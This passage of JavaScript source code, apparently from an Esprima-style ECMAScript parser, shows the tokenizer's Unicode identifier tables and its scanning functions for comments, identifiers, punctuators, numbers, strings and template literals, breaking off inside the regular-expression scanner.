1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc]'),
NonAsciiIdentifierPart: new RegExp('[\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0300-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u0483-\u0487\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u05d0-\u05ea\u05f0-\u05f2\u0610-\u061a\u0620-\u0669\u066e-\u06d3\u06d5-\u06dc\u06df-\u06e8\u06ea-\u06fc\u06ff\u0710-\u074a\u074d-\u07b1\u07c0-\u07f5\u07fa\u0800-\u082d\u0840-\u085b\u08a0\u08a2-\u08ac\u08e4-\u08fe\u0900-\u0963\u0966-\u096f\u0971-\u0977\u0979-\u097f\u0981-\u0983\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bc-\u09c4\u09c7\u09c8\u09cb-\u09ce\u09d7\u09dc\u09dd\u09df-\u09e3\u09e6-\u09f1\u0a01-\u0a03\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a59-\u0a5c\u0a5e\u0a66-\u0a75\u0a81-\u0a83\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abc-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ad0\u0ae0-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3c-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b5c\u0b5d\u0b5f-\u0b63\u0b66-\u0b6f\u0b71\u0b82\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd0\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c58\u0c59\u0c60-\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbc-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0cde\u0ce0-\u0ce3\u0ce6-\u0cef\u0cf1\u0cf2\u0d02\u0d03\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d-\u0d44\u0d46-\u0d48\u0d4a-\u0d4e\u0d57\u0d60-\u0d63\u0d66-\u0d6f\u0d7a-\u0d7f\u0d82\u0d83\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e01-\u0e3a\u0e40-\u0e4e\u0e50-\u0e59\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb9\u0ebb-\u0ebd\u0ec0-\u0ec4\u0ec6\u0ec8-\u0ecd\u0ed0-\u0ed9\u0edc-\u0edf\u0f00\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f3e-\u0f47\u0f49-\u0f6c\u0f71-\u0f84\u0f86-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1049\u1050-\u109d\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u135d-\u135f\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176c\u176e-\u1770\u1772\u1773\u1780-\u17d3\u17d7\u17dc\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1820-\u1877\u1880-\u18aa\u18b0-\u18f5\u1900-\u191c\u1920-\u192b\u1930-\u193b\u1946-\u196d\u1970-\u1974\u1980-\u19ab\u19b0-\u19c9\u19d0-\u19d9\u1a00-\u1a1b\u1a20-\u1a5e\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1aa7\u1b00-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1b80-\u1bf3\u1c00-\u1c37\u1c40-\u1c49\u1c4d-\u1c7d\u1cd0-\u1cd2\u1cd4-\u1cf6\u1d00-\u1de6\u1dfc-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u200c\u200d\u203f\u2040\u2054\u2071\u207f\u2090-\u209c\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d7f-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2de0-\u2dff\u2e2f\u3005-\u3007\u3021-\u302f\u3031-\u3035\u3038-\u303c\u3041-\u3096\u3099\u309a\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua62b\ua640-\ua66f\ua674-\ua67d\ua67f-\ua697\ua69f-\ua6f1\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua827\ua840-\ua873\ua880-\ua8c4\ua8d0-\ua8d9\ua8e0-\ua8f7\ua8fb\ua900-\ua92d\ua930-\ua953\ua960-\ua97c\ua980-\ua9c0\ua9cf-\ua9d9\uaa00-\uaa36\uaa40-\uaa4d\uaa50-\uaa59\uaa60-\uaa76\uaa7a\uaa7b\uaa80-\uaac2\uaadb-\uaadd\uaae0-\uaaef\uaaf2-\uaaf6\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabea\uabec\uabed\uabf0-\uabf9\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\ufe70-\ufe74\ufe76-\ufefc\uff10-\uff19\uff21-\uff3a\uff3f\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc]')
};
// Ensure the condition is true, otherwise throw an error.
// This is only to have a better contract semantic, i.e. another safety net
// to catch a logic error. The condition shall be fulfilled in normal case.
// Do NOT use this to enforce a certain condition on any user input.
function assert(condition, message) {
if (!condition) {
throw new Error('ASSERT: ' + message);
}
}
function isDecimalDigit(ch) {
return (ch >= 48 && ch <= 57); // 0..9
}
function isHexDigit(ch) {
return '0123456789abcdefABCDEF'.indexOf(ch) >= 0;
}
function isOctalDigit(ch) {
return '01234567'.indexOf(ch) >= 0;
}
// 7.2 White Space
function isWhiteSpace(ch) {
return (ch === 32) || // space
(ch === 9) || // tab
(ch === 0xB) ||
(ch === 0xC) ||
(ch === 0xA0) ||
(ch >= 0x1680 && '\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\uFEFF'.indexOf(String.fromCharCode(ch)) > 0);
}
// 7.3 Line Terminators
function isLineTerminator(ch) {
return (ch === 10) || (ch === 13) || (ch === 0x2028) || (ch === 0x2029);
}
// 7.6 Identifier Names and Identifiers
function isIdentifierStart(ch) {
return (ch === 36) || (ch === 95) || // $ (dollar) and _ (underscore)
(ch >= 65 && ch <= 90) || // A..Z
(ch >= 97 && ch <= 122) || // a..z
(ch === 92) || // \ (backslash)
((ch >= 0x80) && Regex.NonAsciiIdentifierStart.test(String.fromCharCode(ch)));
}
function isIdentifierPart(ch) {
return (ch === 36) || (ch === 95) || // $ (dollar) and _ (underscore)
(ch >= 65 && ch <= 90) || // A..Z
(ch >= 97 && ch <= 122) || // a..z
(ch >= 48 && ch <= 57) || // 0..9
(ch === 92) || // \ (backslash)
((ch >= 0x80) && Regex.NonAsciiIdentifierPart.test(String.fromCharCode(ch)));
}
// 7.6.1.2 Future Reserved Words
function isFutureReservedWord(id) {
switch (id) {
case 'class':
case 'enum':
case 'export':
case 'extends':
case 'import':
case 'super':
return true;
default:
return false;
}
}
function isStrictModeReservedWord(id) {
switch (id) {
case 'implements':
case 'interface':
case 'package':
case 'private':
case 'protected':
case 'public':
case 'static':
case 'yield':
case 'let':
return true;
default:
return false;
}
}
function isRestrictedWord(id) {
return id === 'eval' || id === 'arguments';
}
// 7.6.1.1 Keywords
function isKeyword(id) {
if (strict && isStrictModeReservedWord(id)) {
return true;
}
// 'const' is specialized as Keyword in V8.
// 'yield' and 'let' are for compatiblity with SpiderMonkey and ES.next.
// Some others are from future reserved words.
switch (id.length) {
case 2:
return (id === 'if') || (id === 'in') || (id === 'do');
case 3:
return (id === 'var') || (id === 'for') || (id === 'new') ||
(id === 'try') || (id === 'let');
case 4:
return (id === 'this') || (id === 'else') || (id === 'case') ||
(id === 'void') || (id === 'with') || (id === 'enum');
case 5:
return (id === 'while') || (id === 'break') || (id === 'catch') ||
(id === 'throw') || (id === 'const') || (id === 'yield') ||
(id === 'class') || (id === 'super');
case 6:
return (id === 'return') || (id === 'typeof') || (id === 'delete') ||
(id === 'switch') || (id === 'export') || (id === 'import');
case 7:
return (id === 'default') || (id === 'finally') || (id === 'extends');
case 8:
return (id === 'function') || (id === 'continue') || (id === 'debugger');
case 10:
return (id === 'instanceof');
default:
return false;
}
}
// 7.4 Comments
function skipComment() {
var ch, blockComment, lineComment;
blockComment = false;
lineComment = false;
while (index < length) {
ch = source.charCodeAt(index);
if (lineComment) {
++index;
if (isLineTerminator(ch)) {
lineComment = false;
if (ch === 13 && source.charCodeAt(index) === 10) {
++index;
}
++lineNumber;
lineStart = index;
}
} else if (blockComment) {
if (isLineTerminator(ch)) {
if (ch === 13 && source.charCodeAt(index + 1) === 10) {
++index;
}
++lineNumber;
++index;
lineStart = index;
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
} else {
ch = source.charCodeAt(index++);
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
// Block comment ends with '*/' (char #42, char #47).
if (ch === 42) {
ch = source.charCodeAt(index);
if (ch === 47) {
++index;
blockComment = false;
}
}
}
} else if (ch === 47) {
ch = source.charCodeAt(index + 1);
// Line comment starts with '//' (char #47, char #47).
if (ch === 47) {
index += 2;
lineComment = true;
} else if (ch === 42) {
// Block comment starts with '/*' (char #47, char #42).
index += 2;
blockComment = true;
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
} else {
break;
}
} else if (isWhiteSpace(ch)) {
++index;
} else if (isLineTerminator(ch)) {
++index;
if (ch === 13 && source.charCodeAt(index) === 10) {
++index;
}
++lineNumber;
lineStart = index;
} else {
break;
}
}
}
function scanHexEscape(prefix) {
var i, len, ch, code = 0;
len = (prefix === 'u') ? 4 : 2;
for (i = 0; i < len; ++i) {
if (index < length && isHexDigit(source[index])) {
ch = source[index++];
code = code * 16 + '0123456789abcdef'.indexOf(ch.toLowerCase());
} else {
return '';
}
}
return String.fromCharCode(code);
}
function scanUnicodeCodePointEscape() {
var ch, code, cu1, cu2;
ch = source[index];
code = 0;
// At least, one hex digit is required.
if (ch === '}') {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
while (index < length) {
ch = source[index++];
if (!isHexDigit(ch)) {
break;
}
code = code * 16 + '0123456789abcdef'.indexOf(ch.toLowerCase());
}
if (code > 0x10FFFF || ch !== '}') {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
// UTF-16 Encoding
if (code <= 0xFFFF) {
return String.fromCharCode(code);
}
cu1 = ((code - 0x10000) >> 10) + 0xD800;
cu2 = ((code - 0x10000) & 1023) + 0xDC00;
return String.fromCharCode(cu1, cu2);
}
function getEscapedIdentifier() {
var ch, id;
ch = source.charCodeAt(index++);
id = String.fromCharCode(ch);
// '\u' (char #92, char #117) denotes an escaped character.
if (ch === 92) {
if (source.charCodeAt(index) !== 117) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
++index;
ch = scanHexEscape('u');
if (!ch || ch === '\\' || !isIdentifierStart(ch.charCodeAt(0))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
id = ch;
}
while (index < length) {
ch = source.charCodeAt(index);
if (!isIdentifierPart(ch)) {
break;
}
++index;
id += String.fromCharCode(ch);
// '\u' (char #92, char #117) denotes an escaped character.
if (ch === 92) {
id = id.substr(0, id.length - 1);
if (source.charCodeAt(index) !== 117) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
++index;
ch = scanHexEscape('u');
if (!ch || ch === '\\' || !isIdentifierPart(ch.charCodeAt(0))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
id += ch;
}
}
return id;
}
function getIdentifier() {
var start, ch;
start = index++;
while (index < length) {
ch = source.charCodeAt(index);
if (ch === 92) {
// Blackslash (char #92) marks Unicode escape sequence.
index = start;
return getEscapedIdentifier();
}
if (isIdentifierPart(ch)) {
++index;
} else {
break;
}
}
return source.slice(start, index);
}
function scanIdentifier() {
var start, id, type;
start = index;
// Backslash (char #92) starts an escaped character.
id = (source.charCodeAt(index) === 92) ? getEscapedIdentifier() : getIdentifier();
// There is no keyword or literal with only one character.
// Thus, it must be an identifier.
if (id.length === 1) {
type = Token.Identifier;
} else if (isKeyword(id)) {
type = Token.Keyword;
} else if (id === 'null') {
type = Token.NullLiteral;
} else if (id === 'true' || id === 'false') {
type = Token.BooleanLiteral;
} else {
type = Token.Identifier;
}
return {
type: type,
value: id,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
// 7.7 Punctuators
function scanPunctuator() {
var start = index,
code = source.charCodeAt(index),
code2,
ch1 = source[index],
ch2,
ch3,
ch4;
switch (code) {
// Check for most common single-character punctuators.
case 40: // ( open bracket
case 41: // ) close bracket
case 59: // ; semicolon
case 44: // , comma
case 123: // { open curly brace
case 125: // } close curly brace
case 91: // [
case 93: // ]
case 58: // :
case 63: // ?
case 126: // ~
++index;
if (extra.tokenize) {
if (code === 40) {
extra.openParenToken = extra.tokens.length;
} else if (code === 123) {
extra.openCurlyToken = extra.tokens.length;
}
}
return {
type: Token.Punctuator,
value: String.fromCharCode(code),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
default:
code2 = source.charCodeAt(index + 1);
// '=' (char #61) marks an assignment or comparison operator.
if (code2 === 61) {
switch (code) {
case 37: // %
case 38: // &
case 42: // *:
case 43: // +
case 45: // -
case 47: // /
case 60: // <
case 62: // >
case 94: // ^
case 124: // |
index += 2;
return {
type: Token.Punctuator,
value: String.fromCharCode(code) + String.fromCharCode(code2),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
case 33: // !
case 61: // =
index += 2;
// !== and ===
if (source.charCodeAt(index) === 61) {
++index;
}
return {
type: Token.Punctuator,
value: source.slice(start, index),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
default:
break;
}
}
break;
}
// Peek more characters.
ch2 = source[index + 1];
ch3 = source[index + 2];
ch4 = source[index + 3];
// 4-character punctuator: >>>=
if (ch1 === '>' && ch2 === '>' && ch3 === '>') {
if (ch4 === '=') {
index += 4;
return {
type: Token.Punctuator,
value: '>>>=',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
}
// 3-character punctuators: === !== >>> <<= >>=
if (ch1 === '>' && ch2 === '>' && ch3 === '>') {
index += 3;
return {
type: Token.Punctuator,
value: '>>>',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch1 === '<' && ch2 === '<' && ch3 === '=') {
index += 3;
return {
type: Token.Punctuator,
value: '<<=',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch1 === '>' && ch2 === '>' && ch3 === '=') {
index += 3;
return {
type: Token.Punctuator,
value: '>>=',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch1 === '.' && ch2 === '.' && ch3 === '.') {
index += 3;
return {
type: Token.Punctuator,
value: '...',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
// Other 2-character punctuators: ++ -- << >> && ||
if (ch1 === ch2 && ('+-<>&|'.indexOf(ch1) >= 0)) {
index += 2;
return {
type: Token.Punctuator,
value: ch1 + ch2,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch1 === '=' && ch2 === '>') {
index += 2;
return {
type: Token.Punctuator,
value: '=>',
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if ('<>=!+-*%&|^/'.indexOf(ch1) >= 0) {
++index;
return {
type: Token.Punctuator,
value: ch1,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch1 === '.') {
++index;
return {
type: Token.Punctuator,
value: ch1,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
// 7.8.3 Numeric Literals
function scanHexLiteral(start) {
var number = '';
while (index < length) {
if (!isHexDigit(source[index])) {
break;
}
number += source[index++];
}
if (number.length === 0) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
if (isIdentifierStart(source.charCodeAt(index))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
return {
type: Token.NumericLiteral,
value: parseInt('0x' + number, 16),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanOctalLiteral(prefix, start) {
var number, octal;
if (isOctalDigit(prefix)) {
octal = true;
number = '0' + source[index++];
} else {
octal = false;
++index;
number = '';
}
while (index < length) {
if (!isOctalDigit(source[index])) {
break;
}
number += source[index++];
}
if (!octal && number.length === 0) {
// only 0o or 0O
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
if (isIdentifierStart(source.charCodeAt(index)) || isDecimalDigit(source.charCodeAt(index))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
return {
type: Token.NumericLiteral,
value: parseInt(number, 8),
octal: octal,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanNumericLiteral() {
var number, start, ch, octal;
ch = source[index];
assert(isDecimalDigit(ch.charCodeAt(0)) || (ch === '.'),
'Numeric literal must start with a decimal digit or a decimal point');
start = index;
number = '';
if (ch !== '.') {
number = source[index++];
ch = source[index];
// Hex number starts with '0x'.
// Octal number starts with '0'.
// Octal number in ES6 starts with '0o'.
// Binary number in ES6 starts with '0b'.
if (number === '0') {
if (ch === 'x' || ch === 'X') {
++index;
return scanHexLiteral(start);
}
if (ch === 'b' || ch === 'B') {
++index;
number = '';
while (index < length) {
ch = source[index];
if (ch !== '0' && ch !== '1') {
break;
}
number += source[index++];
}
if (number.length === 0) {
// only 0b or 0B
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
if (index < length) {
ch = source.charCodeAt(index);
if (isIdentifierStart(ch) || isDecimalDigit(ch)) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
}
return {
type: Token.NumericLiteral,
value: parseInt(number, 2),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
if (ch === 'o' || ch === 'O' || isOctalDigit(ch)) {
return scanOctalLiteral(ch, start);
}
// decimal number starts with '0' such as '09' is illegal.
if (ch && isDecimalDigit(ch.charCodeAt(0))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
}
while (isDecimalDigit(source.charCodeAt(index))) {
number += source[index++];
}
ch = source[index];
}
if (ch === '.') {
number += source[index++];
while (isDecimalDigit(source.charCodeAt(index))) {
number += source[index++];
}
ch = source[index];
}
if (ch === 'e' || ch === 'E') {
number += source[index++];
ch = source[index];
if (ch === '+' || ch === '-') {
number += source[index++];
}
if (isDecimalDigit(source.charCodeAt(index))) {
while (isDecimalDigit(source.charCodeAt(index))) {
number += source[index++];
}
} else {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
}
if (isIdentifierStart(source.charCodeAt(index))) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
return {
type: Token.NumericLiteral,
value: parseFloat(number),
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
// 7.8.4 String Literals
function scanStringLiteral() {
var str = '', quote, start, ch, code, unescaped, restore, octal = false;
quote = source[index];
assert((quote === '\'' || quote === '"'),
'String literal must starts with a quote');
start = index;
++index;
while (index < length) {
ch = source[index++];
if (ch === quote) {
quote = '';
break;
} else if (ch === '\\') {
ch = source[index++];
if (!ch || !isLineTerminator(ch.charCodeAt(0))) {
switch (ch) {
case 'n':
str += '\n';
break;
case 'r':
str += '\r';
break;
case 't':
str += '\t';
break;
case 'u':
case 'x':
if (source[index] === '{') {
++index;
str += scanUnicodeCodePointEscape();
} else {
restore = index;
unescaped = scanHexEscape(ch);
if (unescaped) {
str += unescaped;
} else {
index = restore;
str += ch;
}
}
break;
case 'b':
str += '\b';
break;
case 'f':
str += '\f';
break;
case 'v':
str += '\x0B';
break;
default:
if (isOctalDigit(ch)) {
code = '01234567'.indexOf(ch);
// \0 is not octal escape sequence
if (code !== 0) {
octal = true;
}
if (index < length && isOctalDigit(source[index])) {
octal = true;
code = code * 8 + '01234567'.indexOf(source[index++]);
// 3 digits are only allowed when string starts
// with 0, 1, 2, 3
if ('0123'.indexOf(ch) >= 0 &&
index < length &&
isOctalDigit(source[index])) {
code = code * 8 + '01234567'.indexOf(source[index++]);
}
}
str += String.fromCharCode(code);
} else {
str += ch;
}
break;
}
} else {
++lineNumber;
if (ch === '\r' && source[index] === '\n') {
++index;
}
}
} else if (isLineTerminator(ch.charCodeAt(0))) {
break;
} else {
str += ch;
}
}
if (quote !== '') {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
return {
type: Token.StringLiteral,
value: str,
octal: octal,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanTemplate() {
var cooked = '', ch, start, terminated, tail, restore, unescaped, code, octal;
terminated = false;
tail = false;
start = index;
++index;
while (index < length) {
ch = source[index++];
if (ch === '`') {
tail = true;
terminated = true;
break;
} else if (ch === '$') {
if (source[index] === '{') {
++index;
terminated = true;
break;
}
cooked += ch;
} else if (ch === '\\') {
ch = source[index++];
if (!isLineTerminator(ch.charCodeAt(0))) {
switch (ch) {
case 'n':
cooked += '\n';
break;
case 'r':
cooked += '\r';
break;
case 't':
cooked += '\t';
break;
case 'u':
case 'x':
if (source[index] === '{') {
++index;
cooked += scanUnicodeCodePointEscape();
} else {
restore = index;
unescaped = scanHexEscape(ch);
if (unescaped) {
cooked += unescaped;
} else {
index = restore;
cooked += ch;
}
}
break;
case 'b':
cooked += '\b';
break;
case 'f':
cooked += '\f';
break;
case 'v':
cooked += '\v';
break;
default:
if (isOctalDigit(ch)) {
code = '01234567'.indexOf(ch);
// \0 is not octal escape sequence
if (code !== 0) {
octal = true;
}
if (index < length && isOctalDigit(source[index])) {
octal = true;
code = code * 8 + '01234567'.indexOf(source[index++]);
// 3 digits are only allowed when string starts
// with 0, 1, 2, 3
if ('0123'.indexOf(ch) >= 0 &&
index < length &&
isOctalDigit(source[index])) {
code = code * 8 + '01234567'.indexOf(source[index++]);
}
}
cooked += String.fromCharCode(code);
} else {
cooked += ch;
}
break;
}
} else {
++lineNumber;
if (ch === '\r' && source[index] === '\n') {
++index;
}
}
} else if (isLineTerminator(ch.charCodeAt(0))) {
++lineNumber;
if (ch === '\r' && source[index] === '\n') {
++index;
}
cooked += '\n';
} else {
cooked += ch;
}
}
if (!terminated) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
return {
type: Token.Template,
value: {
cooked: cooked,
raw: source.slice(start + 1, index - ((tail) ? 1 : 2))
},
tail: tail,
octal: octal,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanTemplateElement(option) {
var startsWith, template;
lookahead = null;
skipComment();
startsWith = (option.head) ? '`' : '}';
if (source[index] !== startsWith) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
template = scanTemplate();
peek();
return template;
}
function scanRegExp() {
var str, ch, start, pattern, flags, value, classMarker = false, restore, terminated = false;
lookahead = null;
skipComment();
start = index;
ch = source[index];
assert(ch === '/', 'Regular expression literal must start with a slash');
str = source[index++];
while (index < length) {
ch = source[index++];
str += ch;
if (classMarker) {
if (ch === ']') {
classMarker = false;
}
} else {
if (ch === '\\') {
ch = source[index++];
// ECMA-262 7.8.5
if (isLineTerminator(ch.charCodeAt(0))) {
throwError({}, Messages.UnterminatedRegExp);
}
str += ch;
} else if (ch === '/') {
terminated = true;
break;
} else if (ch === '[') {
classMarker = true;
} else if (isLineTerminator(ch.charCodeAt(0))) {
throwError({}, Messages.UnterminatedRegExp);
}
}
}
if (!terminated) {
throwError({}, Messages.UnterminatedRegExp);
}
// Exclude leading and trailing slash.
pattern = str.substr(1, str.length - 2);
flags = '';
while (index < length) {
ch = source[index];
